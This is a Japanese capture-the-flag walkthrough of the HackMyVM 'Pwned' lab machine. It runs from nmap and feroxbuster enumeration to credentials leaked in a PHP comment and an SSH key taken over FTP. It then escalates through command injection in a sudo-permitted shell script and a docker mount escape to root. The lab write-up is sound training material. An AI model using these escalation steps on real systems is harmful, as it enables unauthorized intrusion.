HackMyVM Writeups (3)

HackMyVM 攻略記: Pwned

Posted:

HackMyVM | Pwned を攻略する。

tl;dr

0. ネットワークの設定と IP アドレスの確認

0.1. ネットワークの設定

攻撃に使うマシンからアクセスできさえすれば、どんな設定でも構わない。 ここではマシンの IP アドレスを特定しやすいよう Host-only Network を使うよう設定する。

0.2. IP アドレスを確認する

$ nmap -sP 192.168.56.100-254
Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-01 12:51 JST
Nmap scan report for 192.168.56.105
Host is up (0.00014s latency).
Nmap done: 155 IP addresses (1 host up) scanned in 2.61 seconds

今回の攻撃対象の IP アドレスは192.168.56.105であることがわかった。

1. ポートスキャン

$ nmap -sC -sV -T5 192.168.56.105

Starting Nmap 7.94 ( https://nmap.org ) at 2024-03-01 12:53 JST
Nmap scan report for 192.168.56.105
Host is up (0.00012s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 fe:cd:90:19:74:91:ae:f5:64:a8:a5:e8:6f:6e:ef:7e (RSA)
|   256 81:32:93:bd:ed:9b:e7:98:af:25:06:79:5f:de:91:5d (ECDSA)
|_  256 dd:72:74:5d:4d:2d:a3:62:3e:81:af:09:51:e0:14:4a (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Pwned....!!
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.37 seconds

21, 22, 80 番のポートが開いていることがわかる。

2. 80 番ポートにアクセスする

2.1. とりあえずcurl

$ curl http://192.168.56.105
<!DOCTYPE html>
<html>
<head>
<title>Pwned....!!</title>
</head>
<body>

<h1>  vanakam nanba (Hello friend) </h1>
<p></p>

<p>
<pre>



                                                                                                                 dddddddd
  PPPPPPPPPPPPPPPPP                                                                                              d::::::d
  P::::::::::::::::P                                                                                             d::::::d
  P::::::PPPPPP:::::P                                                                                            d::::::d
  PP:::::P     P:::::P                                                                                           d:::::d
    P::::P     P:::::Pwwwwwww           wwwww           wwwwwwwnnnn  nnnnnnnn        eeeeeeeeeeee        ddddddddd:::::d
    P::::P     P:::::P w:::::w         w:::::w         w:::::w n:::nn::::::::nn    ee::::::::::::ee    dd::::::::::::::d
    P::::PPPPPP:::::P   w:::::w       w:::::::w       w:::::w  n::::::::::::::nn  e::::::eeeee:::::ee d::::::::::::::::d
    P:::::::::::::PP     w:::::w     w:::::::::w     w:::::w   nn:::::::::::::::ne::::::e     e:::::ed:::::::ddddd:::::d
    P::::PPPPPPPPP        w:::::w   w:::::w:::::w   w:::::w      n:::::nnnn:::::ne:::::::eeeee::::::ed::::::d    d:::::d
    P::::P                 w:::::w w:::::w w:::::w w:::::w       n::::n    n::::ne:::::::::::::::::e d:::::d     d:::::d
    P::::P                  w:::::w:::::w   w:::::w:::::w        n::::n    n::::ne::::::eeeeeeeeeee  d:::::d     d:::::d
    P::::P                   w:::::::::w     w:::::::::w         n::::n    n::::ne:::::::e           d:::::d     d:::::d
  PP::::::PP                  w:::::::w       w:::::::w          n::::n    n::::ne::::::::e          d::::::ddddd::::::dd
  P::::::::P                   w:::::w         w:::::w           n::::n    n::::n e::::::::eeeeeeee   d:::::::::::::::::d
  P::::::::P                    w:::w           w:::w            n::::n    n::::n  ee:::::::::::::e    d:::::::::ddd::::d
  PPPPPPPPPP                     www             www             nnnnnn    nnnnnn    eeeeeeeeeeeeee     ddddddddd   ddddd





        A last note from Attacker :)

                   I am Annlynn. I am the hacker hacked your server with your employees but they don't know how i used them.
                   Now they worry about this. Before finding me investigate your employees first. (LOL) then find me Boomers XD..!!


            </pre>
 </p>

</body>
</html>




<!-- I forgot to add this on last note
     You are pretty smart as i thought
     so here i left it for you
     She sings very well. l loved it  -->

Annlynn がこのマシンを乗っ取ったと書いてある。 それ以外に目を引く情報はない。

2.2. Forced browsing

アクセス可能な URL を探す。

$ feroxbuster --url http://192.168.56.105 --silent

http://192.168.56.105/nothing/nothing.html
http://192.168.56.105/
http://192.168.56.105/nothing => http://192.168.56.105/nothing/
$ curl http://192.168.56.105/nothing/nothing.html

<!DOCTYPE html>
<html>
<head>
<title>Nothing</title>
</head>
<body>

<h1>i said nothing bro </h1>
<p></p>

<!--I said nothing here. you are wasting your time i don't lie-->



</body>
</html>

feroxbusterがデフォルトで使うワードリストでは/nothing/しかヒットしなかった。 より大きなワードリストを使ってもう一度スキャンしてみる:

$ feroxbuster --url http://192.168.56.105 --silent -w /usr/share/dirbuster/directory-list-2.3-medium.txt

http://192.168.56.105/nothing/nothing.html
http://192.168.56.105/
http://192.168.56.105/nothing => http://192.168.56.105/nothing/
http://192.168.56.105/hidden_text => http://192.168.56.105/hidden_text/
http://192.168.56.105/hidden_text/secret.dic

新たに/hidden_text/secret.dicが見つかった。 中身を確認してみる:

$ curl http://192.168.56.105/hidden_text/secret.dic

/hacked
/vanakam_nanba
/hackerman.gif
/facebook
/whatsapp
/instagram
/pwned
/pwned.com
/pubg
/cod
/fortnite
/youtube
/kali.org
/hacked.vuln
/users.vuln
/passwd.vuln
/pwned.vuln
/backup.vuln
/.ssh
/root
/home

パスのリストに見える。 このリストを使ってもう一度スキャンしてみる:

$ curl http://192.168.56.105/hidden_text/secret.dic > secret.dic
$ feroxbuster --url http://192.168.56.105 --silent -w ./secret.dic
http://192.168.56.105/nothing/nothing.html
http://192.168.56.105/
http://192.168.56.105/pwned.vuln => http://192.168.56.105/pwned.vuln/

/pwned.vuln/が新たに見つかった。 中身を確認してみる:

$ curl http://192.168.56.105/pwned.vuln/

<!DOCTYPE html>
<html>
<head>
	<title>login</title>
</head>
<body>
		<div id="main">
			<h1> vanakam nanba. I hacked your login page too with advanced hacking method</h1>
			<form method="POST">
			Username <input type="text" name="username" class="text" autocomplete="off" required>
			Password <input type="password" name="password" class="text" required>
			<input type="submit" name="submit" id="sub">
			</form>
			</div>
</body>
</html>




<?php
//	if (isset($_POST['submit'])) {
//		$un=$_POST['username'];
//		$pw=$_POST['password'];
//
//	if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {
//		echo "welcome"
//		exit();
// }
// else
//	echo "Invalid creds"
// }
?>

コメントアウトされた部分に、if ($un=='ftpuser' && $pw=='B0ss_B!TcH') {という行がある。 ftpに使えそうなユーザー名とパスワードが手に入った。

3. 21 番ポートftp

手に入ったユーザー名とパスワードを使って、FTP サーバーに接続してみる:

$ ftp ftpuser@192.168.56.105
Connected to 192.168.56.105.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxrwxrwx    3 0        0            4096 Jul 09  2020 .
drwxr-xr-x    5 0        0            4096 Jul 10  2020 ..
drwxr-xr-x    2 0        0            4096 Jul 10  2020 share
226 Directory send OK.
ftp> cd share
250 Directory successfully changed.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x    2 0        0            4096 Jul 10  2020 .
drwxrwxrwx    3 0        0            4096 Jul 09  2020 ..
-rw-r--r--    1 0        0            2602 Jul 09  2020 id_rsa
-rw-r--r--    1 0        0              75 Jul 09  2020 note.txt
226 Directory send OK.
ftp> mget *
mget id_rsa? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for id_rsa (2602 bytes).
226 Transfer complete.
2602 bytes received in 9e-05 seconds (27.6 Mbytes/s)
mget note.txt? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for note.txt (75 bytes).
226 Transfer complete.
75 bytes received in 8.6e-05 seconds (852 kbytes/s)
ftp> quit
221 Goodbye.

id_rsanote.txtというファイルが手に入った。

id_rsaは ユーザーarianaに関係がありそうだ。 それぞれ中身を確認してみると:

id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
...
GxY4+eGHY4WJUdAAAADHJvb3RAQW5ubHlubgECAwQFBg==
-----END OPENSSH PRIVATE KEY-----
note.txt
Wow you are here

ariana won't happy about this note

sorry ariana :(

id_rsaは SSH の秘密鍵であることがわかる。 またnote.txtから、id_rsaはユーザーarianaのもののように見える。

4.arianaとしてログイン

手に入ったid_rsaを使って、arianaとして SSH を試みる。

$ ssh -i ./id_rsa ariana@192.168.56.105
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0644 for 'id_rsa' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "id_rsa": bad permissions
ariana@192.168.56.105's password:

パスワードを聞かれてしまいログインできない。 id_rsaのパーミッションを、他のユーザーから読み書きできないように変更する必要がある:

$ chmod 600 ./id_rsa

改めて SSH を試みる:

$ ssh -i ./id_rsa ariana@192.168.56.105
Linux pwned 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Mar  1 08:42:24 2024 from 192.168.56.1
ariana@pwned:~$

arianaとしてログインできた。

ariana@pwned:~$ ls -la
total 40
drwxrwx--- 4 ariana ariana 4096 Jul 10  2020 .
drwxr-xr-x 5 root   root   4096 Jul 10  2020 ..
-rw-r--r-- 1 ariana ariana  142 Jul 10  2020 ariana-personal.diary
-rw------- 1 ariana ariana  469 Mar  1 08:47 .bash_history
-rw-r--r-- 1 ariana ariana  220 Jul  4  2020 .bash_logout
-rw-r--r-- 1 ariana ariana 3526 Jul  4  2020 .bashrc
drwxr-xr-x 3 ariana ariana 4096 Jul  6  2020 .local
-rw-r--r-- 1 ariana ariana  807 Jul  4  2020 .profile
drwx------ 2 ariana ariana 4096 Jul  9  2020 .ssh
-rw-r--r-- 1 ariana ariana  143 Jul 10  2020 user1.txt

user1.txtがひとつ目のフラッグ。

さらに攻撃を進めるために、利用できるコマンドがないかを調べたい。 sudoで利用できる権限を確認してみる:

ariana@pwned:~$ sudo -l
Matching Defaults entries for ariana on pwned:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ariana may run the following commands on pwned:
    (selena) NOPASSWD: /home/messenger.sh

ユーザーselenaとして、パスワードなしで/home/messenger.shが実行できるようだ。

/home/messenger.shの中身を確認する:

192.168.56.105:/home/messenger.sh
#!/bin/bash

clear
echo "Welcome to linux.messenger "
                echo ""
users=$(cat /etc/passwd | grep home |  cut -d/ -f 3)
                echo ""
echo "$users"
                echo ""
read -p "Enter username to send message : " name
                echo ""
read -p "Enter message for $name :" msg
                echo ""
echo "Sending message to $name "

$msg 2> /dev/null

                echo ""
echo "Message sent to $name :) "
                echo ""

$msg 2> /dev/nullに注目したい。 $msgを実行してstderrへの出力を捨てていることがわかる。 $msgreadコマンドから読み取っていて、かつその内容は一切確認されていない。

/home/messenger.shを使うことで、ユーザーselenaとして、任意のコマンドを実行できることがわかった。

5. selenaとしてログイン

ここまででユーザーarianaは任意のコマンドを、ユーザーselenaとして実行できることがわかっている。

/home/messenger.shselenaとして実行し、$msgとしてbashを入力してみる:

ariana@pwned:~$ sudo -u selena /home/messenger.sh
Welcome to linux.messenger


ariana:
selena:
ftpuser:

Enter username to send message :

Enter message for  :bash

Sending message to
echo $SHELL
/bin/bash

プロンプトは表示されないが、Sending message toが表示された後にbashが起動していることがわかる。 このままでも攻撃に支障はないが、使い勝手が良くない。 より操作しやすい環境を用意する:

...
Sending message to
which python
which python3
/usr/bin/python3
python3 -c 'import pty; pty.spawn("/bin/bash")'
selena@pwned:/home/ariana$ cd
selena@pwned:~$ pwd
/home/selena

(1)arianaselenaとして実行したbashから、(2)python3ptyを読み込み実行している。 ptyについて詳しくは以下を参照してほしい。

selena@pwned:~$ ls -la
total 24
drwxrwx--- 3 selena root   4096 Jul 10  2020 .
drwxr-xr-x 5 root   root   4096 Jul 10  2020 ..
-rw------- 1 selena selena  108 Mar  1 08:47 .bash_history
drwxr-xr-x 3 selena selena 4096 Jul  9  2020 .local
-rw-r--r-- 1 selena selena  132 Jul 10  2020 selena-personal.diary
-rw-r--r-- 1 selena selena  100 Jul 10  2020 user2.txt
selena@pwned:~$ id
uid=1001(selena) gid=1001(selena) groups=1001(selena),115(docker)

/home/selena/user2.txtがふたつ目のフラッグ。

idの実行結果から、selenadockerグループに属していることがわかる。 これを利用してroot権限を手に入れる。

6. dockerを利用してroot権限を手に入れる

ユーザーselenadockerグループに属している。 dockerグループに属しているユーザーはdockerコマンドを使うことができる。 これを利用したい。

GTFOBins を確認すると、dockerを利用して root権限を手に入れる、そのものズバリの方法が載っていた:

It can be used to break out from restricted environments by spawning an interactive system shell.

The resulting is a root shell.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

docker | GTFOBins

selena@pwned:~$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
# cd /root
# ls -la
total 28
drwx------  3 root root 4096 Jul 10  2020 .
drwxr-xr-x 18 root root 4096 Jul  6  2020 ..
-rw-------  1 root root  382 Mar  1 08:47 .bash_history
-rw-r--r--  1 root root  601 Jul  6  2020 .bashrc
drwxr-xr-x  3 root root 4096 Jul  4  2020 .local
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root  429 Jul 10  2020 root.txt

root.txtが最後のフラッグ 🎉